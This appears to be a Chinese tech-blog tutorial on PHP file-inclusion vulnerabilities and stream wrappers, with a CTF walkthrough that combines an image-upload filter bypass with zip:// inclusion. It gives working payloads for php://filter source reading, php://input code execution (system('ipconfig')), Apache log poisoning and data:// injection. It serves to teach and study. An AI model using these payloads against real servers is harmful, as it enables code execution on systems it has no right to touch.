iis服务器助手广告广告
返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >文件包含及PHP伪协议怎么用
  • 674
分享到

文件包含及PHP伪协议怎么用

2023-06-30 12:06:25 674人浏览 八月长安
摘要

今天小编给大家分享一下文件包含及PHP伪协议怎么用的相关知识点,内容详细,逻辑清晰,相信大部分人都还太了解这方面的知识,所以分享这篇文章给大家参考一下,希望大家阅读完这篇文章后有所收获,下面我们一起来了解一下吧。文件包含文件包含漏洞是“代码

今天小编给大家分享一下文件包含及PHP伪协议怎么用的相关知识点,内容详细,逻辑清晰,相信大部分人都还太了解这方面的知识,所以分享这篇文章给大家参考一下,希望大家阅读完这篇文章后有所收获,下面我们一起来了解一下吧。

文件包含及PHP伪协议怎么用

文件包含

文件包含漏洞是“代码注入”的一种。其原理就是注入一段用户能控制的脚本或代码,并让服务端执行。“代码注入”的典型代表就是文件包含。

要想成功利用文件包含漏洞进行攻击,需要满足以下两个条件:

  • WEB应用采用include()等文件包含函数通过动态变量的方式引入需要包含的文件;

  • 用户能够控制该动态变量。

常见的导致文件包含的函数:
php:include()、include_once()、require()、require_once()等;
1.php文件包含可以直接执行包含文件的代码,包含的文件格式不受任何限制
在 php 中提供了四个文件包含函数:
(1) Require: 找不到被包含的文件时会产生致命错误(E_COMPILE_ERROR),并停止脚本;
(2) Include:找不到被包含的文件时只会产生一个(E_warinng),脚本将继续执行;
(3) Require_once:与 include 类似会产生警告,区别是如果文件代码已经被包含,则不会再次被包含;

PHP伪协议

php伪协议,事实上是其支持的协议与封装协议。而其支持的协议有:

file:// — 访问本地文件系统php:// — 访问各个输入/输出流(I/O streams)data:// — 数据(RFC 2397)zip:// — 压缩流

文件包含及PHP伪协议怎么用

all_url_include在php 5.2以后添加,安全方便的设置(php的默认设置)为:allow_url_fopen=on;all_url_include=off;
allow_url_fopen = On (允许打开URL文件,预设启用)
allow_url_fopen = Off (禁止打开URL文件)
allow_url_include = Off (禁止引用URL文件,新版增加功能,预设关闭)
allow_url_include = On (允许引用URL文件,新版增加功能)

file协议

file:// 文件系统是 PHP 使用的默认封装协议,展现了本地文件系统。

使用file://协议去包含本地的phpinfo.php

Http://localhost/www/lfi.php?file=file://F:\phpstudy\phpstudy_pro\WWW\www\phpinfo.php

文件包含及PHP伪协议怎么用

PHP协议

php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input
php://filter用于读取源码
php://input用于执行php代码。

http://localhost/www/lfi.php?file=php://filter/read=convert.base64-encode/resource=./phpinfo.php

php://filter读取php文件时候需要base64编码
文件包含及PHP伪协议怎么用
php://input

  1. allow_url_include = On

php://input + [POST DATA]执行php代码
需要***allow_url_include = On***

http://localhost/www/lfi.php?file=php://inputPOST<?system('ipconfig')?>

文件包含及PHP伪协议怎么用

  1. allow_url_include = Off

不过一般大部分情况下,allow_url_include 为默认关闭状态,
就不能包含POST数据了,这种情况下可以包含apache日志或者错误日志记录

首先需要fuzz大法,爆破出日志的路径,

为了测试方便,我先将日志的内容清空,方便演示

访问该网址,通过报错将代码写入日志中
注意:这里要使用burp抓包去访问,不然代码会被url编码写入日志,就不能执行了
也可以将代码写入 user-agent中

http://localhost/www/lfi.php?file=<?php phpinfo();?>

文件包含及PHP伪协议怎么用

文件包含及PHP伪协议怎么用
我的日志路径为:
F:\phpstudy\phpstudy_pro\Extensions\Apache2.4.39\logs\access.log.1631750400

使用file://伪协议去读取日志,发现phpinfo被成功执行了

http://localhost/www/lfi.php?file=file://F:\phpstudy\phpstudy_pro\Extensions\Apache2.4.39\logs\access.log.1631750400

文件包含及PHP伪协议怎么用

zip://协议

** zip:// & bzip2:// & zlib:// **均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx等等。

这里分析一个文件上传和文件包含结合的CTF案例

首先分析文件上传的源代码

<html><fORM action="" enctype="multipart/form-data" method="post" name="upload">file:<input type="file" name="file" /><br> <input type="submit" value="upload" /></form><?phpif(!empty($_FILES["file"])){    echo $_FILES["file"];    $allowedExts = array("gif", "jpeg", "jpg", "png");    @$temp = explode(".", $_FILES["file"]["name"]);    $extension = end($temp);    if (((@$_FILES["file"]["type"] == "image/gif") || (@$_FILES["file"]["type"] == "image/jpeg")    || (@$_FILES["file"]["type"] == "image/jpg") || (@$_FILES["file"]["type"] == "image/pjpeg")    || (@$_FILES["file"]["type"] == "image/x-png") || (@$_FILES["file"]["type"] == "image/png"))    && (@$_FILES["file"]["size"] < 102400) && in_array($extension, $allowedExts))    {        //move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);        echo "file upload successful!Save in:  " . "upload/" . $_FILES["file"]["name"];    }    else    {        echo "upload failed!";    }}echo $_FILES["file"]["tmp_name"];?></html>

分析源代码发现,文件上传采用了白名单限制策略,只能上传
“gif", “jpeg”, “jpg”, "png"四种后缀名的文件。

分析文件包含的源代码

<html>Tips: the parameter is file! :) <!-- upload.php --></html><?php    @$file = $_GET["file"];    echo $file;    if(isset($file))    {        if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70)        {            echo "<p> error! </p>";        }        else        {            include($file.'.php');        }    }?>

分析文件包含源代码,发现限制了部分伪协议和%00截断,且在include中自动添加了php后缀名,但是没有限制zip伪协议。

综上分析可以发现,在文件包含中利用zip伪协议,可以创建test.zip的压缩包,里面放着test.php的文件。

在文件上传时候将后缀名zip修改为png的后缀名,

test.php中写入木马

<?phpphpinfo();?>

如下图所示
文件包含及PHP伪协议怎么用

文件包含及PHP伪协议怎么用

图片上传成功之后,利用文件包含和zip://协议去读取test.png中的test.php,发现phpinfo()被执行了,说明poc验证成功

http://172.22.32.25:42715/include.php?file=zip://upload/test.png%23test

文件包含及PHP伪协议怎么用

data://

条件:

allow_url_fopen:onallow_url_include :on

访问网址

http://localhost/www/lfi.php?file=data://text/plain,<?php phpinfo();?>

也可以使用base64编码,防止代码被过滤掉

file=data://text/plain,base64;PD9waHAGCGhwaW5mbygpPz4=
文件包含及PHP伪协议怎么用

以上就是“文件包含及PHP伪协议怎么用”这篇文章的所有内容,感谢各位的阅读!相信大家阅读完这篇文章都有很大的收获,小编每天都会为大家更新不同的知识,如果还想学习更多的知识,请关注编程网PHP编程频道。

--结束END--

本文标题: 文件包含及PHP伪协议怎么用

本文链接: https://www.lsjlt.com/news/328621.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • 文件包含及PHP伪协议怎么用
    今天小编给大家分享一下文件包含及PHP伪协议怎么用的相关知识点,内容详细,逻辑清晰,相信大部分人都还太了解这方面的知识,所以分享这篇文章给大家参考一下,希望大家阅读完这篇文章后有所收获,下面我们一起来了解一下吧。文件包含文件包含漏洞是“代码...
    99+
    2023-06-30
  • 文件包含之——phar伪协议
    一、文件包含漏洞原理解析 因为PHP语言所提供的文件包含功能包含功能太强大,太灵活,所以大部分文件包含的漏洞都出现在PHP的程序中 当被包含的文件在服务器本地时,就形成的本地文件包含漏洞 当包含的文件...
    99+
    2023-09-27
    php 安全 web安全
  • 文件包含支持的伪协议
    文件包含支持的伪协议 一、什么是伪协议?二、文件包含支持的伪协议用法1、php://1.1 php://input1.2 php://output1.3 php://filter1.4 其它p...
    99+
    2023-09-01
    php web安全
  • ctf文件包含+伪协议总结
    基本原理 后端编程人员一般会把重复使用的函数写到单个文件中,需要使用时再直接调用此文件即可,该过程也就被称为文件包含。文件包含的存在使得开发变得更加灵活和方便,但同时也带了安全问题,导致客户端可以远程调用文件,造成文件包含漏洞。这个漏洞在p...
    99+
    2023-09-01
    php 开发语言
  • 渗透测试-文件包含漏洞以及php伪协议的应用
    文件包含漏洞以及php伪协议的应用 文章目录 文件包含漏洞以及php伪协议的应用前言一、文件包含漏洞本地包含案例演示dvwa(低级)dvwa(中级)dvwa(高级) 二、php伪协议...
    99+
    2023-09-01
    安全性测试 web安全 安全
  • 【每天学习一点新知识】文件包含常用之伪协议
    一、伪协议 file:// — 访问本地文件系统http:// — 访问 HTTP(s) 网址ftp:// — 访问 FTP(s) URLsphp:// — 访问各个输入/输出流(I/O streams)zlib:// — 压缩流data...
    99+
    2023-09-02
    php web安全 网络 Powered by 金山文档
  • 怎么使用php伪协议实现命令执行
    今天小编给大家分享一下怎么使用php伪协议实现命令执行的相关知识点,内容详细,逻辑清晰,相信大部分人都还太了解这方面的知识,所以分享这篇文章给大家参考一下,希望大家阅读完这篇文章后有所收获,下面我们一起来了解一下吧。1.file://协议条...
    99+
    2023-07-02
  • 关于php----phar伪协议和phar文件反序列化漏洞利用
    前言 Secarma的安全研究员Sam Thomas发现了php里一种新的反序列化漏洞,这种漏洞的利用可以避开传统的php反序列化漏洞的查找,旧漏洞莫非寻找反序列化链(pop链),如thinkphp、Laravel的反序列化链的漏洞和使用p...
    99+
    2023-09-01
    php 开发语言 网络安全 安全
  • fileclude(文件包含漏洞及php://input、php://filter的使用)
    先介绍一些知识 文件包含漏洞 和SQL注入等攻击方式一样,文件包含漏洞也是一种注入型漏洞,其本质就是输入一段用户能够控制的脚本或者代码,并让服务端执行。 什么叫包含呢?以PHP为例,我们常常把可重复使用的函数写入到单个文件中,在使用该函数时...
    99+
    2023-09-02
    php 文件包含漏洞 PHP伪协议 web 网络安全
  • JSch中怎么使用sftp协议实现服务器文件上传下载
    这篇文章主要介绍了JSch中怎么使用sftp协议实现服务器文件上传下载的相关知识,内容详细易懂,操作简单快捷,具有一定借鉴价值,相信大家阅读完这篇JSch中怎么使用sftp协议实现服务器文件上传下载文章都会有所收获,下面我们一起来看看吧。J...
    99+
    2023-06-29
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作